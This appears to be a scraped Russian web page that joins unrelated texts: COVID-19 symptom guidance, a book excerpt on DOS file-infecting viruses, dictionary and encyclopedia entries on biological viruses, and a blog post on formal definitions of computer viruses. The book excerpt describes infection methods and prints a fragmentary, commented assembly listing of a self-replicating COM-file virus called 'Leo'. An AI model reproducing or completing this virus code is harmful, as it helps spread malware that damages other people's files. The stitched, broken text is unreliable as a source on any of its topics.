Значение в ком вирус

Обновлено: 23.04.2024

Информацию из данного раздела нельзя использовать для самодиагностики и самолечения. В случае боли или иного обострения заболевания диагностические исследования должен назначать только лечащий врач. Для постановки диагноза и правильного назначения лечения следует обращаться к Вашему лечащему врачу.

Определение

Вирус SARS-CoV-2 распространяется в микроскопических частицах жидкости, выделяемых больным человеком во время кашля, чихания, разговора, пения или тяжелого дыхания и попадает на слизистые носа, рта, либо глаз другого человека.

Кроме того, вирус может также распространяться контактно-бытовым путем, когда частицы с вирусом, находящиеся на поверхностях или предметах, через руки попадают на слизистые респираторного тракта.

Передача инфекции аэрозольным путем происходит в закрытых, переполненных и плохо вентилируемых помещениях.

Симптомы COVID-19 при тяжелой и средней тяжести форме заболевания

Наиболее распространенные симптомы

  • Одышка, учащенное дыхание (55%).
  • Усиление кашля, появление мокроты (30-35%).
  • Кровохарканье (5%).
  • Потеря аппетита (20%).
  • Спутанность сознания (9%).
  • Ощущение сдавления и заложенности в грудной клетке (> 20%).
  • Температура тела выше 38°С (80%) более 5 дней.
  • Насыщение крови кислородом по данным пульсоксиметрии (SpO2) ≤ 95% (до 20%).
  • тахикардия,
  • дефицит витамина D,
  • раздражительность,
  • судороги,
  • тревожность,
  • угнетенное состояние,
  • нарушения сна.

Важно! Симптомы могут не обнаруживаться во время инкубационного периода COVID-19 или проявляться в любой комбинации (например, без температуры). Точный диагноз устанавливает врач по результатам обследований.

У пациентов старше 65 лет может наблюдаться атипичная картина заболевания, которая включают делирий (помутнение сознания), нарушения речи, двигательные расстройства, а также более тяжелые и редкие неврологические осложнения – инсульт, воспалительное поражение мозга и другие.

Симптомы коронавируса.jpg

Большинство (около 80%) пациентов, у которых появляются симптомы заболевания, выздоравливают без госпитализации. Примерно у 15% пациентов развивается серьезная форма заболевания, при которой необходима кислородотерапия, а у 5% – крайне тяжелая форма, требующая лечения в условиях отделения интенсивной терапии.

Отличия новой коронавирусной болезни COVID-19 от ОРВИ и гриппа

COVID-19 тоже относится к ОРВИ – острым респираторным вирусным инфекциям, характеризующимся сходными симптомами: кашель, насморк, повышение температуры, головная боль, першение и боли в горле. Наиболее четко выраженную клиническую картину вызывают вирусы гриппа, парагриппа, аденовирусы. Коронавирус может протекать в более тяжелой форме, нежели другие ОРВИ, приводя к осложнениям и даже летальному исходу. Именно поэтому крайне важно отличать новый тип коронавируса от относительно безобидной простуды.

Коронавирус_ОРВИ.jpg

В чем отличие коронавируса от гриппа

Надо отметить, что COVID-19 и грипп имеют много общего:

  • передаются воздушно-капельным и контактным путем;
  • могут проявляться ломотой в суставах, головной болью, сильной слабостью и общим ощущением разбитости;
  • могут возникать кишечные расстройства.
  • Грипп начинается остро с повышения температуры сразу до фебрильных значений (39-40⁰С). На первый план выступают симптомы общей интоксикации: головная боль, слабость, боли в мышцах и суставах, слезотечение, боль в глазах.
  • Коронавирус развивается постепенно - от общего недомогания в первые дни до выраженных симптомов, включая значимое повышение температуры тела через неделю.

Другие заболевания со схожими симптомами

Пневмонии, в том числе атипичные.

Аллергии. Одышка, проблемы с обонянием и другие симптомы могут возникать в результате воздействия аллергенов. Проблему решают антигистаминные препараты, которые при вирусной инфекции неэффективны.

Бронхиальная астма, которая также дает о себе знать затрудненным дыханием и мучительным кашлем, но имеет неинфекционную природу.

Отличаются ли симптомы у детей и у взрослых?

Дети составляют лишь около 2% от числа всех заболевших COVID-19. При этом они легче переносят коронавирусную инфекцию и часто являются ее бессимптомными носителями.

Протекание COVID-19 у детей разного возраста:

От 1 года до 3 лет

Инфекция обычно проявляется как легкое недомогание. Характерные симптомы COVID-19 не наблюдаются. Иногда присутствует потеря аппетита, которая проходит через 2-3 дня и никак не сказывается на общем самочувствие малыша.

Дети в этом возрасте болеют около семи дней и выздоравливают без осложнений. У них может появиться осиплость голоса и легкая заложенность носа. Кашля нет, не исключены редкие чихания.

У младших школьников и подростков может наблюдаться незначительное повышение температуры тела и легкое недомогание. Возможен сухой кашель, еще реже - головная боль.

По данным Роспотребнадзора, легкая форма заболевания, как правило, обусловлена сильным иммунитетом пациента.

Иммунная система детей и подростков, как правило, хорошо подготовлена к борьбе с вирусами. Они могут заразиться, но заболевание у них протекает в более мягкой форме или вообще бессимптомно.

Этапы развития заболевания с учетом симптомов

Симптомы коронавируса у взрослого человека по дням

1-3-й день. Заболевание начинается с легкого недомогания, незначительного повышения температуры, заложенности носа и боли в мышцах, как при ОРВИ или гриппе.

3-5-й день. Повышается температура тела, возможен несильный, поверхностный кашель. Может пропасть обоняние, а вкусовые ощущения сильно измениться. Возникают пищеварительные расстройства, выражающиеся, в том числе, диареей. Этот период считается кульминацией легкой формы течения COVID-19.

5-10-й день. Важный период для определения тяжести заболевания коронавирусной инфекцией. У 80% заболевших COVID-19 наблюдаются улучшения, которые через несколько дней могут привести к полному выздоровлению. Второй сценарий подразумевает ухудшение состояния, которое проявляется увеличением количества и тяжести симптомов. При таком развитии событий у пациента появляются сильный насморк, изнуряющий кашель, озноб, боль в теле, одышка.

10-12-й день. Этот период характеризуется сильной одышкой, болью в груди, прогрессированием слабости, бледностью, что свидетельствует о развитии пневмонии. Повреждение легких приводит к кислородному голоданию. Требуется госпитализация. Это состояние считается среднетяжелым.

12-14-й день. При COVID-19 75% пациентов с вирусной пневмонией начинают идти на поправку в среднем через 2 недели от начала заболевания. Однако тем, у кого развивается тяжелая форма заболевания, может потребоваться искусственная вентиляция легких.

14-30-й день. На излечение от тяжелой формы пневмонии, вызванной коронавирусом, требуется в среднем до двух недель с момента наступления серьезного осложнения.

Но даже после полного выздоровления может сохраняться одышка в легкой форме, проявляться слабость и недомогание в течение длительного времени (до нескольких месяцев).

  • Поражение только верхних отделов дыхательных путей.
  • Пневмония без дыхательной недостаточности.
  • Острый респираторный дистресс-синдром (пневмония с острой дыхательной недостаточностью).
  • Сепсис, септический (инфекционно-токсический) шок.
  • Синдром диссеминированного внутрисосудистого свертывания, тромбозы и тромбоэмболии.
  • Насыщение крови кислородом менее 88%.

Цитокиновый шторм при COVID-19 - реакция организма на воспалительный процесс, приводящая к тому, что иммунные клетки атакуют не только вирус, но и ткани собственного организма. Следствием этого может стать разрушение тканей и органов, и, как следствие, гибель организма.

Очень важно, что иногда COVID-19 опасен не только пневмонией и ее осложнениями, но и негативным влиянием на сосуды, мозг и сердце, что повышает риск развития инсульта. В таких случаях у пациента наблюдается головокружение, могут случаться обмороки, синеет лицо и немеют мышцы.

Симптомы, свидетельствующие о процессе выздоровления

Внимание! Временные интервалы течения болезни условны, они зависят от индивидуальных особенностей организма. COVID-19 в легкой форме, как правило, протекает не более 14 дней. Но подтвердить окончательное выздоровление может только тест на антитела.

Учитывая тяжесть заболевания, процесс выздоровления может проходить по-разному. Критерий выздоровления – если два последовательно сделанных теста на коронавирус методом ПЦР дали отрицательный результат.

Для проведения исследования в медицинских офисах необходимо предъявить СНИЛС и документ удостоверяющий личность. Запись на исследование В случае получения положительного или сомнительного результата на COVID-19 и при необходимости проведения подтверждающего тестирования обра.


Оглавление

Приведённый ознакомительный фрагмент книги Создаем вирус и антивирус предоставлен нашим книжным партнёром — компанией ЛитРес.

В этой главе рассказано о вирусах, заражающих EXE-файлы. Приведена классификация таких вирусов, подробно рассмотрены алгоритмы их работы, отличия между ними, достоинства и недостатки. Для каждого типа вирусов представлены исходные тексты с подробными комментариями. Также приведены основные сведения о структуре и принципах работы EXE-программы.

Структура и процесс загрузки EXE-программы

В отличие от COM-программ, EXE-программы могут состоять из нескольких сегментов (кодов, данных, стека). Они могут занимать больше 64Кбайт.

EXE-файл имеет заголовок, который используется при его загрузке. Заголовок состоит из форматированной части, содержащей сигнатуру и данные, необходимые для загрузки EXE-файла, и таблицы для настройки адресов (Relocation Table). Таблица состоит из значений в формате сегмент: смещение. К смещениям в загрузочном модуле, на которые указывают значения в таблице, после загрузки программы в память должен быть прибавлен сегментный адрес, с которого загружена программа.

При запуске EXE-программы системным загрузчиком (вызовом функции DOS 4Bh) выполняются следующие действия:

1. Определяется сегментный адрес свободного участка памяти, размер которого достаточен для размещения программы.

2. Создается и заполняется блок памяти для переменных среды.

3. Создается блок памяти для PSP и программы (сегмент:0000h — PSP; сегмент+0010h:0000h — программа). В поля PSP заносятся соответствующие значения.

4. Адрес DTA устанавливается равным PSP:0080h.

5. В рабочую область загрузчика считывается форматированная часть заголовка EXE-файла.

6. Вычисляется длина загрузочного модуля по формуле: Size=((PageCnt*512)–(HdrSize*16))–PartPag.

7. Определяется смещение загрузочного модуля в файле, равное HdrSize*16.

8. Вычисляется сегментный адрес (START_SEG) для загрузки — обычно это PSP+10h.

9. Считывается в память загрузочный модуль (начиная с адреса START_SEG:0000).

10. Для каждого входа таблицы настройки:

a) читаются слова I_OFF и I_SEG;

b) вычисляется RELO_SEG=START_SEG+I_SEG;

c) читается слово по адресу RELO_SEG:I_OFF;

d) к прочитанному слову прибавляется START_SEG;

e) результат запоминается по тому же адресу (RELO_SEG:I_OFF).

11. Распределяется память для программы в соответствии с MaxMem и MinMem.

12. Инициализируются регистры, выполняется программа:

b) АХ=результат проверки правильности идентификаторов драйверов, указанных в командной строке;

c) SS=START_SEG+ReloSS, SP=ExeSP;

d) CS=START_SEG+ReloCS, IP=ExeIP.

EXE-вирусы условно можно разделить на группы, используя в качестве признака для деления особенности алгоритма.

Вирусы, замещающие программный код (Overwrite)

Такие вирусы уже стали раритетом. Главный их недостаток — слишком грубая работа. Инфицированные программы не исполняются, так как вирус записывается поверх программного кода, не сохраняя его. При запуске вирус ищет очередную жертву (или жертвы), открывает найденный файл для редактирования и записывает свое тело в начало программы, не сохраняя оригинальный код. Инфицированные этими вирусами программы лечению не подлежат.

Эти вирусы получили свое название из-за алгоритма размножения: к каждому инфицированному файлу создается файл-спутник. Рассмотрим более подробно два типа вирусов этой группы:

Вирусы первого типа размножается следующим образом. Для каждого инфицируемого EXE-файла в том же каталоге создается файл с вирусным кодом, имеющий такое же имя, что и EXE-файл, но с расширением COM. Вирус активируется, если при запуске программы в командной строке указано только имя исполняемого файла. Дело в том, что, если не указано расширение файла, DOS сначала ищет в текущем каталоге файл с заданным именем и расширением COM. Если COM-файл с таким именем не найден, ведется поиск одноименного EXE-файла. Если не найден и EXE-файл, DOS попробует обнаружить BAT (пакетный) файл. В случае отсутствия в текущем каталоге исполняемого файла с указанным именем поиск ведется во всех каталогах, доступных по переменной PATH. Другими словами, когда пользователь хочет запустить программу и набирает в командной строке только ее имя (в основном так все и делают), первым управление получает вирус, код которого находится в COM-файле. Он создает COM-файл еще к одному или нескольким EXE-файлам (распространяется), а затем исполняет EXE-файл с указанным в командной строке именем. Пользователь же думает, что работает только запущенная EXE-программа. Вирус-спутник обезвредить довольно просто — достаточно удалить COM-файл.

Вирусы второго типа действуют более тонко. Имя инфицируемого EXE-файла остается прежним, а расширение заменяется каким-либо другим, отличным от исполняемого (COM, EXE и BAT). Например, файл может получить расширение DAT (файл данных) или OVL (программный оверлей). Затем на место EXE-файла копируется вирусный код. При запуске такой инфицированной программы управление получает вирусный код, находящийся в EXE-файле. Инфицировав еще один или несколько EXE-файлов таким же образом, вирус возвращает оригинальному файлу исполняемое расширение (но не EXE, а COM, поскольку EXE-файл с таким именем занят вирусом), после чего исполняет его. Когда работа инфицированной программы закончена, ее запускаемому файлу возвращается расширение неисполняемого. Лечение файлов, зараженных вирусом этого типа, может быть затруднено, если вирус-спутник шифрует часть или все тело инфицируемого файла, а перед исполнением его расшифровывает.

Вирусы, внедряющиеся в программу (Parasitic)

Вирусы этого вида самые незаметные: их код записывается в инфицируемую программу, что существенно затрудняет лечение зараженных файлов. Рассмотрим методы внедрения EXE-вирусов в EXE-файл.

Способы заражения EXE-файлов

Самый распространенный способ заражения EXE-файлов такой: в конец файла дописывается тело вируса, а заголовок корректируется (с сохранением оригинального) так, чтобы при запуске инфицированного файла управление получал вирус. Похоже на заражение COM-файлов, но вместо задания в коде перехода в начало вируса корректируется собственно адрес точки запуска программы. После окончания работы вирус берет из сохраненного заголовка оригинальный адрес запуска программы, прибавляет к его сегментной компоненте значение регистра DS или ES (полученное при старте вируса) и передает управление на полученный адрес.

Вирусы, замещающие программный код (Overwrite)

Как уже говорилось, этот вид вирусов уже давно мертв. Изредка появляются еще такие вирусы, созданные на языке Assembler, но это, скорее, соревнование в написании самого маленького overwrite-вируса. На данный момент самый маленький из известных overwrite-вирусов написан ReminderW (Death Virii Crew group) и занимает 22 байта.

Алгоритм работы overwrite-вируса следующий:

1. Открыть файл, из которого вирус получил управление.

2. Считать в буфер код вируса.

4. Искать по маске подходящий для заражения файл.

5. Если файлов больше не найдено, перейти к пункту 11.

6. Открыть найденный файл.

7. Проверить, не заражен ли найденный файл этим вирусом.

8. Если файл заражен, перейти к пункту 10.

9. Записать в начало файла код вируса.

10. Закрыть файл (по желанию можно заразить от одного до всех файлов в каталоге или на диске).


Оглавление

Приведённый ознакомительный фрагмент книги Создаем вирус и антивирус предоставлен нашим книжным партнёром — компанией ЛитРес.

В этой главе рассказано об алгоритмах работы вирусов, заражающих COM-файлы, и способах их внедрения. Представлен исходный текст одного из таких вирусов с подробными комментариями. Также приведены основные сведения о структуре и принципах работы COM-программы.

Структура и процесс загрузки COM-программы

Что же представляет собой COM-программа, как она загружается в память и запускается?

Структура COM-программы предельно проста — она содержит только код и данные программы, не имея даже заголовка. Размер COM-программы ограничен размером одного сегмента (64 Кбайт).

И еще два понятия, которые часто будут встречаться:

Program Segment Prefix (PSP) — область памяти размером 256 (0100h) байт, предшествующая программе при ее загрузке. PSP содержит данные командной строки и относящиеся к программе переменные.

Disk Transfer Address (DTA) — блок данных, содержащий адреса обмена данными с файлом (чтение или запись). Область DTA для работы с файлом используют многие функции, в том числе и не производящие чтение или запись в файл. Примером может служить функция 4Eh (найти первый файл по шаблону), которая будет неоднократно встречаться в листингах программ.

Загрузка COM-программы в память и ее запуск происходят так:

1. Определяется сегментный адрес свободного участка памяти достаточного для размещения программы размера.

2. Создается и заполняется блок памяти для переменных среды.

3. Создается блок памяти для PSP и программы (сегмент:0000Ь — PSP; сегмент:0100Ь — программа). В поля PSP заносятся соответствующие значения.

4. Устанавливается адрес DTA равным PSP:0080h.

5. Загружается COM-файл с адреса PSP:0100h.

6. Значение регистра AX устанавливается в соответствии с параметрами командной строки.

7. Регистры DS, ES и SS устанавливаются на сегмент PSP и программы (PSP:0000h).

8. Регистр SP устанавливается на конец сегмента, после чего в стек записывается 0000h.

9. Происходит запуск программы с адреса PSP:0100h.

COM-программа всегда состоит из одного сегмента и запускается со смещения 0100h.

В начале COM-файла обычно находится команда безусловного перехода JMP, состоящая из трех байт. Первый байт содержит код команды 0E9h, следующие два — адрес перехода. Поскольку рассматриваемый ниже вирус учебный, он будет заражать только COM-файлы, начинающиеся с команды JMP. Благодаря простому строению COM-файла в него очень просто добавить тело вируса и затем указать его адрес в команде JMP. На рис. 1.1. показано заражение файла таким способом.


После загрузки зараженного файла управление получает вирус. Закончив работу, вирус восстанавливает оригинальный JMP и передает управление программе, как показано на рис. 1.2.


Что же делает рассматриваемый вирус? После старта он ищет в текущем каталоге COM-программы. Для этого используется функция 4Eh (найти первый файл):

;Ищем первый файл по шаблону имени

mov dx,offset fname — offset myself

Затем вирус проверяет (по первому байту файла), подходят ли ему найденные COM-программы:

;Если при открытии файла ошибок не произошло,

;переходим к чтению, иначе выходим из вируса

;Читаем первый байт файла

mov dx,offset buf–offset myself

inc cx;(увеличение на 1) CX=1

;Сравниваем. Если первый байт файла

;не E9h, то переходим к поиску следующего

;файла — этот для заражения не подходит

cmp byte ptr [bp+(offset buf–offset myself)],0E9h

Перед заражением файла вирус проверяет сигнатуру — не исключено, что файл уже заражен:

;Переходим в конец файла (на последний байт)

mov dx,[bp+(offset flen−offset MySelf)]

;Читаем сигнатуру вируса

mov dx,offset bytik–offset myself

;Если при чтении файла ошибок не произошло,

;иначе ищем следующий файл

cmp byte ptr [bp+(offset bytik−offset myself)],CheckByte

;Если сигнатура есть, то ищем другой файл,

;если ее нет — будем заражать

Затем, в соответствии с предложенной схемой, вирус дописывается в конец файла-жертвы и устанавливает адрес перехода на самого себя:

;Переходим в конец файла

;Устанавливаем регистр DS на сегмент кода

;Копируем вирус в файл

mov cx,offset VirEnd–offset la

sub dx,offset myself−offset la

;Записываем в начало файла переход на тело вируса

;Переходим в начало файла

;Записываем первые три байта файла (переход на тело вируса)

mov dx,offset jmpvir–offset myself

После того, как вирус закончит свою работу, он восстанавливает в исходное состояние первые три байта программы (в памяти компьютера) и передает управление на начало программы. Далее, при запуске зараженного файла, управление сначала получает вирус, затем — исходная программа. Благодаря такой схеме работы рассматриваемый вирус может спокойно существовать, будучи один раз выпущенным на волю.

Как запустить вирус? В любом текстовом редакторе создается файл LEO.ASM, содержащий исходный текст вируса, затем этот файл компилируется и компонуется готовая программа. Например, в системе программирования Turbo Assembler последние два этапа выполняются такими командами:

.286;Устанавливаем тип процессора

CheckByte equ 0F0h

;Указываем, что регистры CS и DS содержат

;адрес сегмента кода программы

assume cs:code, ds:code

;Начало сегмента кода. В конце программы сегмент кода нужно

;закрыть — ”code ends”

;Устанавливаем смещения в сегменте кода.

;Данная строчка обязательна

;для COM−программы (все COM−программы

;начинаются с адреса 100h)

;Имитируем зараженный COM−файл.

;Тело вируса начинается с метки la

db 0E9h;Код команды JMP

dw offset la–offset real

;Выходим из программы

;Здесь начинается тело вируса

;Сохраняем регистры и флаги

;Получаем точку входа.

;Для этого вызываем подпрограмму (следующий

;за вызовом адрес) и читаем из стека адрес возврата

;Восстанавливаем первые три байта исходной программы

mov al,[bp+(offset bytes_3[0]–offset MySelf)]

mov byte ptr cs:[100h],al

mov al,[bp+(offset bytes_3[1]–offset MySelf)]

mov byte ptr cs:[101h],al

mov al,[bp+(offset bytes_3[2]–offset MySelf)]

mov byte ptr cs:[102h],al

;Дальнейшая задача вируса — найти новую жертву.

;Для этого используется функция 4Eh (Найти первый файл).

;Ищем файл с любыми атрибутами

;Ищем первый файл по шаблону имени

mov dx,offset fname–offset myself

;Если файл найден — переходим к смене атрибутов, иначе выходим

;из вируса (здесь нет подходящих для заражения файлов)

;Читаем оригинальные атрибуты файла

mov dx,9Eh;Адрес имени файла

;Сохраняем оригинальные атрибуты файла

;Устанавливаем новые атрибуты файла

mov dx,9Eh;Адрес имени файла

;Переходим к открытию файла

;Ищем следующий файл, так как предыдущий не подходит

;Восстанавливаем оригинальные атрибуты файла

mov dx,9Eh;Адрес имени файла

;Ищем следующий файл

;Если файл найден — переходим к смене атрибутов, иначе выходим

;из вируса (здесь нет подходящих для заражения файлов)

;Если при открытии файла ошибок не произошло —

;переходим к чтению, иначе выходим из вируса

;Читаем первый байт файла

mov dx,offset buf–offset myself

inc cx;(увеличение на 1) CX=1

;Сравниваем. Если первый байт файла

;не E9h, то переходим к поиску следующего файла —

;этот для заражения не подходит

cmp byte ptr [bp+(offset buf–offset myself)],0E9h

;Переходим в начало файла

;Читаем первые три байта файла в тело вируса

mov dx,offset bytes_3–offset myself

;Получаем длину файла, для чего переходим в конец файла

;Сохраняем полученную длину файла

mov [bp+(offset flen−offset MySelf)],ax

;Проверяем длину файла

;Если файл не больше 64000 байт, — переходим

;к следующей проверке,

;иначе ищем другой файл (этот слишком велик для заражения)

;Проверим, не заражен ли файл.

;Для этого проверим сигнатуру вируса

;Переходим в конец файла (на последний байт)

mov dx,[bp+(offset flen−offset MySelf)]

;Читаем сигнатуру вируса

mov dx,offset bytik–offset myself

;Если при чтении файла ошибок

;не произошло — проверяем сигнатуру,

;иначе ищем следующий файл

cmp byte ptr [bp+(offset bytik−offset myself)],CheckByte

;Если сигнатура есть, то ищем другой файл,

;если нет — будем заражать

;Файл не заражен — будем заражать

mov ax,[bp+(offset flen−offset myself)]

mov [bp+(offset jmp_cmd−offset myself)],ax

;Переходим в конец файла

;Устанавливаем регистр DS на сегмент кода

;Копируем вирус в файл

mov cx,offset VirEnd–offset la

sub dx,offset myself−offset la

;Записываем в начало файла переход на тело вируса

;Переходим в начало файла

;Записываем первые три байта файла (переход на тело вируса)

mov dx,offset jmpvir–offset myself

;Восстанавливаем оригинальные атрибуты файла

;Восстанавливаем первоначальные значения регистров и флагов

;Передаем управление программе−носителю

;Байт для чтения сигнатуры

;Зарезервировано для изменения трех байт вируса

;Шаблон для поиска файлов

;Область для хранения команды перехода

bytes_3 db 90h, 90h, 90h

;Байт памяти для чтения первого байта файла

;с целью проверки (E9h)

virus_name db ”Leo”

Способы внедрения COM-вирусов

Рассмотренный вирус дописывался в конец файла, а в начало файла вписывал переход на себя. Существуют и другие способы внедрения вирусов.

Рассмотрим два варианта внедрения COM-вируса в начало файла. Вариант первый. Вирус переписывает начало программы в конец файла, чтобы освободить место для себя. После этого тело вируса записывается в начало файла, а небольшая его часть, обеспечивающая перенос вытесненного фрагмента программы, на прежнее место — в конец. При восстановлении первоначального вида программы тело вируса будет затерто, поэтому код вируса, восстанавливающий программу, должен находиться в безопасном месте, отдельно от основного тела вируса. Этот способ внедрения изображен на рис. 1.3.


При загрузке зараженного таким способом файла управление получит вирус (так как он находится в начале файла и будет загружен с адреса 0100h). После окончания работы вирус передает управление коду, переносящему вытесненную часть программы на прежнее место. После восстановления (в памяти, не в файле) первоначального вида программы, она запускается. Схема работы вируса изображена на рис. 1.4.


Второй вариант отличается от первого тем, что вирус, освобождая для себя место, сдвигает все тело программы, а не переносит ее часть в конец файла. Этот способ внедрения изображен на рис. 1.5.


После запуска зараженной программы, как и в предыдущем случае, управление получает вирус. Дальнейшая работа вируса отличается только тем, что часть вируса, восстанавливающая первоначальный вид программы, переносит к адресу 0100h все тело программы, а не только вытесненную часть. Схема работы вируса, заражающего файл таким образом, приведена на рис. 1.6.



ВИ́РУСЫ, -ов, мн. (ед. ви́рус, -а, м.). Мельчайшие из микроорганизмов, мало различимые или совсем не видимые через оптический микроскоп, возбудители инфекционных заболеваний растений, животных и человека, размножающиеся только в живых клетках. Вирус гриппа.

[От лат. virus — яд]

Источник (печатная версия): Словарь русского языка: В 4-х т. / РАН, Ин-т лингвистич. исследований; Под ред. А. П. Евгеньевой. — 4-е изд., стер. — М.: Рус. яз.; Полиграфресурсы, 1999; (электронная версия): Фундаментальная электронная библиотека

  • Ви́рус (лат. virus — яд) — неклеточный инфекционный агент, который может воспроизводиться только внутри живых клеток. Вирусы поражают все типы организмов, от растений и животных до бактерий и архей (вирусы бактерий обычно называют бактериофагами). Обнаружены также вирусы, способные реплицироваться только в присутствии других вирусов (вирусы-сателлиты).

Со времени публикации в 1892 году статьи Дмитрия Ивановского, описывающей небактериальный патоген растений табака, и открытия в 1898 году Мартином Бейеринком вируса табачной мозаики были детально описаны более 6 тысяч видов вирусов, хотя предполагают, что их существует более ста миллионов. Вирусы обнаружены почти в каждой экосистеме на Земле, они являются самой многочисленной биологической формой. Изучением вирусов занимается наука вирусология, раздел микробиологии.

Пока вирус находится во внеклеточной среде или в процессе заражения клетки, он существует в виде независимой частицы. Вирусные частицы (вирионы) состоят из двух или трёх компонентов: генетического материала в виде ДНК или РНК (некоторые, например мимивирусы, имеют оба типа молекул); белковой оболочки (капсида), защищающей эти молекулы, и, в некоторых случаях, — дополнительных липидных оболочек. Наличие капсида отличает вирусы от вирусоподобных инфекционных нуклеиновых кислот — вироидов. В зависимости от того, каким типом нуклеиновой кислоты представлен генетический материал, выделяют ДНК-содержащие вирусы и РНК-содержащие вирусы; на этом принципе основана классификация вирусов по Балтимору. Ранее к вирусам также ошибочно относили прионы, однако впоследствии оказалось, что эти возбудители представляют собой особые инфекционные белки и не содержат нуклеиновых кислот. Форма вирусов варьирует от простой спиральной и икосаэдрической до более сложных структур. Размеры среднего вируса составляют около одной сотой размеров средней бактерии. Большинство вирусов слишком малы, чтобы быть отчётливо различимыми под световым микроскопом.

Вирусы являются облигатными паразитами, так как не способны размножаться вне клетки. Вне клетки вирусные частицы не проявляют признаки живого и ведут себя как частицы биополимеров. От живых паразитарных организмов вирусы отличаются полным отсутствием основного и энергетического обмена и отсутствием сложнейшего элемента живых систем — аппарата трансляции (синтеза белка), степень сложности которого превышает таковую самих вирусов.

Вирусы распространяются многими способами: вирусы растений часто передаются от растения к растению насекомыми, питающимися растительными соками, к примеру, тлями; вирусы животных могут распространяться кровососущими насекомыми, такие организмы известны как переносчики. Вирус гриппа распространяется воздушно-капельным путём при кашле и чихании. Норовирус и ротавирус, обычно вызывающие вирусные гастроэнтериты, передаются фекально-оральным путём при контакте с заражённой пищей или водой. ВИЧ является одним из нескольких вирусов, передающихся половым путём и при переливании заражённой крови. Каждый вирус имеет определённую специфичность к хозяевам, определяющуюся типами клеток, которые он может инфицировать. Круг хозяев может быть узок или, если вирус поражает многие виды, широк.


В первом, втором и третьем выпусках блога мы рассказали о том, как автопрограммируемость — врожденная черта фон-неймановских компьютеров — привела к появлению в них вирусов. Темой четвертого выпуска был основополагающий метод антивирусной защиты — многоуровневое фиксирование программ на основе разделения программ и данных. Этот метод считается наиболее надежным из всех существующих. Была показана его взаимосвязь с другими основными методами.

Определение вируса по Коэну

В своей книге 1985 года и диссертации 1986 года Коэн дал уже строгое определение вируса, в котором сконцентрировался на его единственном свойстве — рекурсивной репликации. Определение было дано только для абстрактной модели, основанной на машине Тьюринга (заметим, что реальный компьютер обычно имеет меньшую предсказуемость, чем его идеальная модель). Никакие другие свойства, кроме рекурсивной репликации, в модели Коэна не рассматриваются. То есть это хорошая модель частного случая рекурсивно воспроизводимых алгоритмов, но плохая модель реальных компьютерных вирусов — особенно с учетом наблюдаемого многообразия их типов и необязательности строгой рекурсии для распространения.

Но модель вируса по Коэну стала классической, потому что оказалась простой, наглядной и учитывающей роль исполняющей среды, что необходимо для понимания сути проблемы. В этой модели, чтобы определить, является ли вирусом изучаемый информационный объект (конечная последовательность символов, программа, код), его надо рассматривать исключительно в контексте машины-среды, в паре с ней и во взаимодействии с ней — на столько тактов вперед, сколько займет исполнение кода машиной. Вирус был определен как код, исполнение которого приведет к записи копии этого кода на ленту машины Тьюринга впереди по ходу исполнения, т.е. в будущем.

Но для машины Тьюринга (как доказал в 1936 году ее автор) невозможно предсказать будущее. Для произвольного кода непредсказуем результат его выполнения, т.е. последовательность состояний машинной ленты (памяти) на неограниченное число тактов вперед. Единственный способ выяснить, чем закончится выполнение этого кода — проверить на практике. Иными словами, чтобы выяснить, является ли изучаемый код вирусом, его надо запустить и посмотреть, что будет. С учетом неизвестности результата, в реальной системе это небезопасно. Кроме того, время ожидания выполнения кода может оказаться сколь угодно большим (бесконечным). А без информации о том, к чему приведет запуск кода, нельзя судить о том, является ли он вирусом.

Обратите внимание, что анализ кода без его запуска невозможен даже с самой удобной позиции — внешнего наблюдателя, не ограниченного в средствах для изучения машины и кода, которые находятся в исходных статичных состояниях. Тем более не может быть и речи об анализе кода без его запуска средствами самой машины, как и об анализе кода в процессе исполнения машиной другого кода.

Кроме неутешительного вывода о невозможности надежного распознавания вирусов в своей модели, Коэн доказал следующее:
a) к произвольному коду всегда можно подобрать такую машину, которая интерпретирует его как вирус; например, для какой-то машины вирусом будет код из одного байта — 42;
b) некоторые машины любой код интерпретируют как вирус;
c) некоторые машины никакой код не интерпретируют как вирус.

Определение вируса по Адлеману

В работе Адлемана нам представляются особенно важными два момента. Во-первых, в качестве стратегического — и, по сути, единственного — средства защиты от вирусов он совершенно верно назвал полную и безусловную изоляцию компьютера, т.е. закрытость среды (что касается альтернативных способов защиты, в работе лишь поставлен вопрос о том, насколько они реальны). Во-вторых, ученый показал необходимость привлечения понятия исходной, незараженной программы в качестве обязательного условия определения вируса.

Определение вируса по нарушению кода

Невозможность надежного распознавания вирусов в рамках классических моделей дает повод задуматься о подходе к решению проблемы с другой стороны.

Но можно поступить наоборот: поставить целью практическую применимость определения вируса для простого и гарантированного решения задачи его распознавания — и для комплексного решения проблемы цифровых инфекций в целом. Затем, используя это определение, можно выяснить, какая модель вируса ему соответствует.

Для целей информационной безопасности самым удобным будет строго формализованное, соразмерное и системное определение, которое позволяет легко выполнять оценку соответствия ему произвольных информационных объектов. Процедура сравнения свойств каждого исследуемого объекта с определением должна иметь форму короткого, надежного и хорошо контролируемого алгоритма, чтобы ее можно было автоматизировать и применять на практике.

Строгое определение для обычной SISD-машины, которое можно адаптировать и для более широкого круга информационных систем, формулируется так: компьютерный вирус — это измененная по сравнению с эталоном часть кода.

Используя на практике модель, соответствующую приведенному определению вируса, вы перестраховываетесь и уходите в глубокую и очень надежную оборону. Вместо анализа неизвестного кода для точного ответа на вопрос о возможности инициирования им рекурсивной репликации, вы исходите из того, что такая возможность не исключена. Вместо анализа неизвестного кода для точного ответа на вопрос о его вредоносности, вы исходите из того, что внесение в охраняемый код любого, даже самого малого изменения с некоторой вероятностью вызывает нарушение его функций — точно так же, как нарушение функций биологической ДНК может быть вызвано замещением единственного нуклеотида в последовательности.

Для удобства решения многих практических задач в сложных информационных системах определение можно расширить на те области данных, которые должны иметь в системе такую же неприкосновенность, как исполняемый код. В общем случае, зараженным объявляется любой охраняемый информационный объект, в границы которого попал другой объект.

Заметим, что при отсутствии эталона для произвольного кода весь этот код по данному определению считается вирусом. Хотя это непривычно звучит, это надо хорошо понять и всегда иметь в виду. О том, откуда берется эталон, мы поговорим в следующих выпусках блога: для этого понадобится привлечение социальных факторов.

Какое из определений вируса лучше?

Сравните подходы, используемые в различных моделях и определениях вируса.

Вирус — это:
a) соответствующая определенным критериям функция, отображающая эталонный, незараженный объект на отличающийся от него зараженный объект;
b) любая функция, отображающая эталонный, незараженный объект на отличающийся от него зараженный объект.

Для распознавания вируса в проверяемом объекте нужно:
a) провести полное аналитическое или алгоритмическое изучение свойств и поведения системы, состоящей из проверяемого объекта и машины (среды);
b) определить местоположение проверяемого объекта в машине (среде).

